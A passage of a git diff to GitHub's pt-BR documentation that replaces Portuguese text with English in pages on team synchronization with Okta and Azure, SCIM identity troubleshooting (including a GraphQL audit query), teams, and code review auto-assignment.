reusables.identity-and-permissions.enable-team-sync-azure %} {% data reusables.identity-and-permissions.team-sync-confirm %} -6. Reveja as informações do encarregado do provedor de identidade que você deseja conectar à organização e clique em **Approve** (Aprovar). ![Solicitação pendente para habilitar a sincronização de equipes para um determinado encarregado do IdP com opção de aprovar ou cancelar a solicitação](/assets/images/help/teams/approve-team-synchronization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**. + ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png) -### Habilitar a sincronização de equipe para o Okta +### Enabling team synchronization for Okta + +Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization. + +To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. + +If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them. + +For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." {% data reusables.identity-and-permissions.team-sync-okta-requirements %} @@ -70,15 +77,20 @@ You must have a linked SAML identity. To create a linked identity, you must auth {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} {% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.team-sync-confirm-scim %} +1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)." {% data reusables.identity-and-permissions.enable-team-sync-okta %} -7. No nome da sua organização, digite um token SSWS válido e a URL para sua instância do Okta. ![Formulário da organização do Okta para habilitar a sincronização de equipes](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) -6. Revise as informações do locatário do provedor de identidade que você deseja conectar à sua organização e clique em **Criar**. ![Botão de criar em habilitar a sincronização de equipes](/assets/images/help/teams/confirm-team-synchronization-okta.png) +7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance. + ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Create**. + ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png) -## Desabilitar a sincronização de equipes +## Disabling team synchronization {% data reusables.identity-and-permissions.team-sync-disable %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -5. Em "Team synchronization" (Sincronização de equipes), clique em **Disable team synchronization** (Desabilitar sincronização de equipes). ![Desabilitar a sincronização de equipes](/assets/images/help/teams/disable-team-synchronization.png) +5. Under "Team synchronization", click **Disable team synchronization**. + ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png) diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md new file mode 100644 index 0000000000..dffddfadae --- /dev/null +++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md @@ -0,0 +1,87 @@ +--- +title: Troubleshooting identity and access management +intro: 'Review and resolve common troubleshooting errors for managing your organization''s SAML SSO, team synchronization, or identity provider (IdP) connection.' +product: '{% data reusables.gated-features.saml-sso %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Troubleshooting access +--- + +## Some users are not provisioned or deprovisioned by SCIM + +When you encounter provisioning issues with users, we recommend that you check if the users are missing SCIM metadata. If an organization member has missing SCIM metadata, then you can re-provision SCIM for the user manually through your IdP. + +### Auditing users for missing SCIM metadata + +If you suspect or notice that any users are not provisioned or deprovisioned as expected, we recommend that you audit all users in your organization. + +To check whether users have a SCIM identity (SCIM metadata) in their external identity, you can review SCIM metadata for one organization member at a time on {% data variables.product.prodname_dotcom %} or you can programatically check all organization members using the {% data variables.product.prodname_dotcom %} API. + +#### Auditing organization members on {% data variables.product.prodname_dotcom %} + +As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `` and ``: + +> `https://github.com/orgs//people//sso` + +If the user's external identity includes SCIM metadata, the organization owner should see a SCIM identity section on that page. If their external identity does not include any SCIM metadata, the SCIM Identity section will not exist. + +#### Auditing organization members through the {% data variables.product.prodname_dotcom %} API + +As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. + +#### Using the REST API + +The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members. + +For more information, see: + - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)" + - "[List organization members](/rest/reference/orgs#list-organization-members)" + +#### Using GraphQL + +This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. + +```graphql +{ + organization(login: "ORG") { + samlIdentityProvider { + ssoUrl + externalIdentities(first: 100) { + edges { + node { + samlIdentity { + nameId + } + scimIdentity { + username + } + user { + login + } + } + } + } + } + } +} +``` + +```shell +curl -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql +``` + +For more information on using the GraphQL API, see: + - "[GraphQL guides](/graphql/guides)" + - "[GraphQL explorer](/graphql/overview/explorer)" + +### Re-provisioning SCIM for users through your identity provider + +You can re-provision SCIM for users manually through your IdP. For example, to resolve provisioning errors, in the Okta admin portal, you can unassign and reassign users to the {% data variables.product.prodname_dotcom %} app. This should trigger Okta to make an API call to populate the SCIM metadata for these users on {% data variables.product.prodname_dotcom %}. For more information, see "[Unassign users from applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)" or "[Assign users to applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)" in the Okta documentation. + +To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)." + +If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support. \ No newline at end of file diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/about-teams.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/about-teams.md new file mode 100644 index 0000000000..052dc5b6af --- /dev/null +++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/about-teams.md @@ -0,0 +1,82 @@ +--- +title: About teams +intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. +redirect_from: + - /articles/about-teams + - /github/setting-up-and-managing-organizations-and-teams/about-teams +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +--- + +![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png) + +Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. + +For more information, see: +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" +- "[About code owners](/articles/about-code-owners/)" + +![Image of a team mention](/assets/images/help/teams/team-mention.png) + +{% ifversion ghes %} + +You can also use LDAP Sync to synchronize {% data variables.product.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.product_location %}. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." + +{% endif %} + +{% data reusables.organizations.team-synchronization %} + +## Team visibility + +{% data reusables.organizations.types-of-team-visibility %} + +You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)." + +## Team pages + +Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. + +Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." + +![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png) + +## Nested teams + +You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. + +Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. + +For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. + +![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png) + +To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. + +![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png) + +You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." + +{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} + +## Preparing to nest teams in your organization + +If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. + +At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. + +1. Remove all members from existing teams +2. Audit and adjust each team's repository access permissions and give each team a parent +3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access +4. Add people directly to teams + +## Further reading + +- "[Creating a team](/articles/creating-a-team)" +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md index 775af7a8fa..1430d9a82c 100644 --- a/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md +++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md @@ -27,28 +27,28 @@ To reduce noise for your team and clarify individual responsibility for pull req ## About team notifications -When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. Para obter mais informações, consulte "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)". +When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." ## About auto assignment {% endif %} -When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. As atribuições de revisão de código permitem que você decida se toda a equipe ou apenas um subconjunto dos seus integrantes serão notificados quando for solicitado que uma equipe faça a revisão. +When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review. When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition. {% ifversion fpt %} -Para desenvolver ainda mais as habilidades de colaboração da sua equipe, você pode fazer a atualização para {% data variables.product.prodname_ghe_cloud %}, que inclui funcionalidades como branches protegidos e proprietários de códigos em repositórios privados. {% data reusables.enterprise.link-to-ghec-trial %} +To further enhance your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} -### Encaminhar algoritmos +### Routing algorithms -Escolha as atribuições de revisão de código e atribua os revisores automaticamente com base em um dos dois algoritmos possíveis. +Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. -O algoritmo round robin (rotativo) escolhe os revisores com base em quem recebeu a solicitação de revisão menos recente e tem o foco em alternar entre todos os integrantes da equipe, independentemente do número de avaliações pendentes que possuem atualmente. +The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. -O algoritmo do balanço de carga escolhe os revisores com base no número total de solicitações de revisão recentes de cada integrante e considera o número de revisões pendentes para cada integrante. O algoritmo do balanço de carga tenta garantir que cada integrante da equipe revise um número igual de pull requests em qualquer período de 30 dias. +The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period. -Todos os integrantes da equipe que definiram seu status como "Ocupado" não serão selecionados para revisão. Se todos os integrantes da equipe estiverem ocupados, o pull request permanecerá atribuído à própria equipe. Para obter mais informações sobre os status do usuário, consulte "[Configurando um status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)". +Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)." {% if only-notify-requested-members %} ## Configuring team notifications @@ -57,9 +57,11 @@ Todos os integrantes da equipe que definiram seu status como "Ocupado" não ser {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png) -2. Select **Only notify requested team members.** ![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) -3. Clique em **Save changes** (Salvar alterações). +5. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +2. Select **Only notify requested team members.** +![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) +3. Click **Save changes**. {% endif %} ## Configuring auto assignment @@ -67,24 +69,30 @@ Todos os integrantes da equipe que definiram seu status como "Ocupado" não ser {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png) -6. Selecione **Habilitar atribuição automática**. ![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) -7. Em "Quantos membros da equipe devem ser atribuídos para a revisão?, use o menu suspenso e escolha um número de revisores a serem atribuídos a cada pull request. ![Menu suspenso do número de revisores](/assets/images/help/teams/review-assignment-number.png) -8. Em "Algoritmo de encaminhamento", use o menu suspenso e escolha qual algoritmo você gostaria de usar. Para obter mais informações, consulte "[Algoritmos de encaminhamento](#routing-algorithms)". ![Menu suspenso do algoritmo de encaminhamento](/assets/images/help/teams/review-assignment-algorithm.png) -9. Opcionalmente, para sempre ignorar determinados membros da equipe, selecione **Nunca atribuir certos integrantes da equipe**. Em seguida, selecione um ou mais integrantes da equipe que você gostaria de ignorar sempre. ![Menu suspenso e caixa de seleção "Nunca atribuir certos integrantes da equipe"](/assets/images/help/teams/review-assignment-skip-members.png) -{% ifversion fpt or ghec or ghae-next or ghes > 3.2 %} -11. Opcionalmente, para incluir integrantes de equipes secundárias como possíveis revisores ao atribuir pedidos, selecione **Integrantes da equipe secundária**. -12. Opcionalmente, para contar todos os integrantes cuja avaliação já foi solicitada para o número total de integrantes a atribuir, selecione **Contar as solicitações existentes** existentes. -13. Opcionalmente, para remover a solicitação de revisão da equipe ao atribuir integrantes da equipe, selecione **Pedido de revisão de equipe**. +5. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +6. Select **Enable auto assignment**. +![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) +7. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request. +![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png) +8. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)." +![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png) +9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip. +![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png) +{% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %} +11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**. +12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**. +13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**. {%- else %} -10. Opcionalmente, para notificar apenas os integrantes da equipe escolhidos pela atribuição de revisão de código para cada solicitação de revisão de pull request, em "Notificações", selecione **Ao atribuir integrantes da equipe, não notifique toda a equipe.** +10. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.** {%- endif %} -14. Clique em **Save changes** (Salvar alterações). +14. Click **Save changes**. ## Disabling auto assignment {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. Selecione **Habilitar atribuição automática** para remover a marca. ![Botão da atribuição da revisão de código](/assets/images/help/teams/review-assignment-enable.png) -6. Clique em **Save changes** (Salvar alterações). +5. Select **Enable auto assignment** to remove the checkmark. +![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png) +6. Click **Save changes**. diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md index 045e5fef1b..1c53bcbdc8 100644 --- a/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md +++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md @@ -1,9 +1,9 @@ --- -title: Sincronizar uma equipe com um grupo de provedor de identidade -intro: 'Você pode sincronizar uma equipe do {% data variables.product.product_name %} com um grupo de provedor de identidade (IdP) para adicionar e remover automaticamente os integrantes da equipe.' +title: Synchronizing a team with an identity provider group +intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group -product: '{% data reusables.gated-features.team-synchronization %}' +product: '{% data reusables.gated-features.team-synchronization %} ' permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.' versions: fpt: '*' @@ -12,92 +12,95 @@ versions: topics: - Organizations - Teams -shortTitle: Sincronizar com um IdP +shortTitle: Synchronize with an IdP --- -{% data reusables.gated-features.okta-team-sync %} - {% data reusables.enterprise-accounts.emu-scim-note %} -## Sobre a sincronização de equipes +## About team synchronization {% data reusables.identity-and-permissions.about-team-sync %} -{% ifversion fpt or ghec %}Você pode conectar até cinco grupos de IdP a uma equipe de {% data variables.product.product_name %}.{% elsif ghae %}Você pode conectar uma equipe em {% data variables.product.product_name %} a um grupo de IdP. Todos os usuários do grupo são automaticamente adicionados à equipe e também adicionados à organização principal como integrantes. Ao desconectar um grupo de uma equipe, os usuários que se tornaram integrantes da organização por meio da associação da equipe serão removidos da organização.{% endif %} Você pode atribuir um grupo de IdP a várias equipes de {% data variables.product.product_name %}. +{% ifversion fpt or ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams. -{% ifversion fpt or ghec %}A sincronização de equipes não é compatível com grupos de IdP com mais de 5000 integrantes.{% endif %} +{% ifversion fpt or ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %} -Uma vez que uma equipe do {% data variables.product.prodname_dotcom %} está conectada a um grupo de IdP, o administrador do IdP deve efetuar as alterações da associação da equipe por meio do provedor de identidade. Você não pode gerenciar a associação da equipe em {% data variables.product.product_name %}{% ifversion fpt or ghec %} ou usando a API{% endif %}. +Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion fpt or ghec %} or using the API{% endif %}. {% ifversion fpt or ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} {% ifversion fpt or ghec %} -Todas as alterações de membros da equipe feitas através do seu IdP aparecerão no log de auditoria do {% data variables.product.product_name %} como alterações feitas pelo bot de sincronização de equipe. Seu IdP enviará dados de membros da equipe para {% data variables.product.prodname_dotcom %} uma vez a cada hora. A conexão de uma equipe a um grupo de IdP pode remover alguns integrantes da equipe. Para obter mais informações, consulte "[Requisitos para integrantes de equipes sincronizadas](#requirements-for-members-of-synchronized-teams)". +All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour. +Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)." {% endif %} {% ifversion ghae %} -Quando o membro do grupo for alterado no seu IdP, este enviará uma solicitação SCIM com as alterações para {% data variables.product.product_name %} de acordo com o agendamento determinado pelo seu IdP. Qualquer solicitação que altere a equipe de {% data variables.product.prodname_dotcom %} equipe ou associação da organização será registrada no log de auditoria como alterações feitas pela conta usada para configurar provisionamento do usuário. Para obter mais informações sobre essa conta, consulte "[Configurar o provisionamento de usuários para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". Para obter mais informações sobre o agendamento de pedidos do SCIM, consulte "[Verificar o status do provisionamento do usuário](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" na documentação da Microsoft. +When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs. {% endif %} -As equipes principais não podem sincronizar com grupos de IdP. Se a equipe que você deseja conectar a um grupo IdP for uma equipe principal, recomendamos criar uma equipe nova ou remover as relações aninhadas que fazem da sua equipe uma equipe principal. Para obter mais informações, consulte "[Sobre as equipes](/articles/about-teams#nested-teams)"[Criar uma equipe](/organizations/organizing-members-into-teams/creating-a-team), e "[Mover uma equipe para a hierarquia da sua organização](/articles/moving-a-team-in-your-organizations-hierarchy) +Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)." -Para gerenciar o acesso ao repositório de qualquer equipe do {% data variables.product.prodname_dotcom %} incluindo equipes conectadas a um grupo de IdP, você deve fazer alterações com o {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre equipes](/articles/about-teams)" e "[Gerenciar o acesso da equipe ao repositório de uma organização](/articles/managing-team-access-to-an-organization-repository)". +To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." -{% ifversion fpt or ghec %}Você também pode gerenciar a sincronização de equipes com a API. Para obter mais informações, consulte "[Sincronização de equipe](/rest/reference/teams#team-sync)".{% endif %} +{% ifversion fpt or ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %} {% ifversion fpt or ghec %} -## Requisitos para integrantes de equipes sincronizadas +## Requirements for members of synchronized teams -Após conectar uma equipe a um grupo de IdP, a sincronização da equipe adicionará cada integrante do grupo IdP à equipe correspondente em {% data variables.product.product_name %} apenas se: -- A pessoa for integrante da organização em {% data variables.product.product_name %}. -- A pessoa já efetuou o login com sua conta de usuário em {% data variables.product.product_name %} e efetuou a autenticação na conta corporativa ou corporativa via logon único SAML pelo menos uma vez. -- A identidade SSO da pessoa é um integrante do grupo IdP. +After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if: +- The person is a member of the organization on {% data variables.product.product_name %}. +- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once. +- The person's SSO identity is a member of the IdP group. -As equipes ou integrantes de grupo que não atenderem a esses critérios serão automaticamente removidos da equipe em {% data variables.product.product_name %} e perderão o acesso aos repositórios. Revogar a identidade vinculada a um usuário também removerá o usuário de quaisquer equipes mapeadas com os grupos de IdP. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." +Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." -Um integrante removido da equipe pode ser adicionado de volta a uma equipe automaticamente após efetuar a autenticação na conta da organização ou na conta corporativa usando SSO e será movidos para o grupo de IdP conectado. +A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group. -Para evitar a remoção involuntária dos integrantes da equipe, recomendamos a aplicar SSO SAML na conta da organização ou da empresa. criar novas equipes para sincronizar dados da associação e verificar a associação de grupo de IdP antes de sincronizar as equipes existentes. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." {% endif %} -## Pré-requisitos +## Prerequisites {% ifversion fpt or ghec %} -Antes de você poder conectar uma equipe de {% data variables.product.product_name %} a um grupo de provedores de identidade, uma organização ou proprietário da empresa deverá habilitar a sincronização de equipes para a sua organização ou conta corporativa. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." -Para evitar a remoção involuntária dos integrantes da equipe, visite o portal administrativo do seu IdP e confirme se cada integrante atual da equipe está também nos grupos de IdP aos quais você deseja conectar a esta equipe. Se você não tiver acesso ao provedor de identidade, entre em contato com o administrador do IdP. +To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you 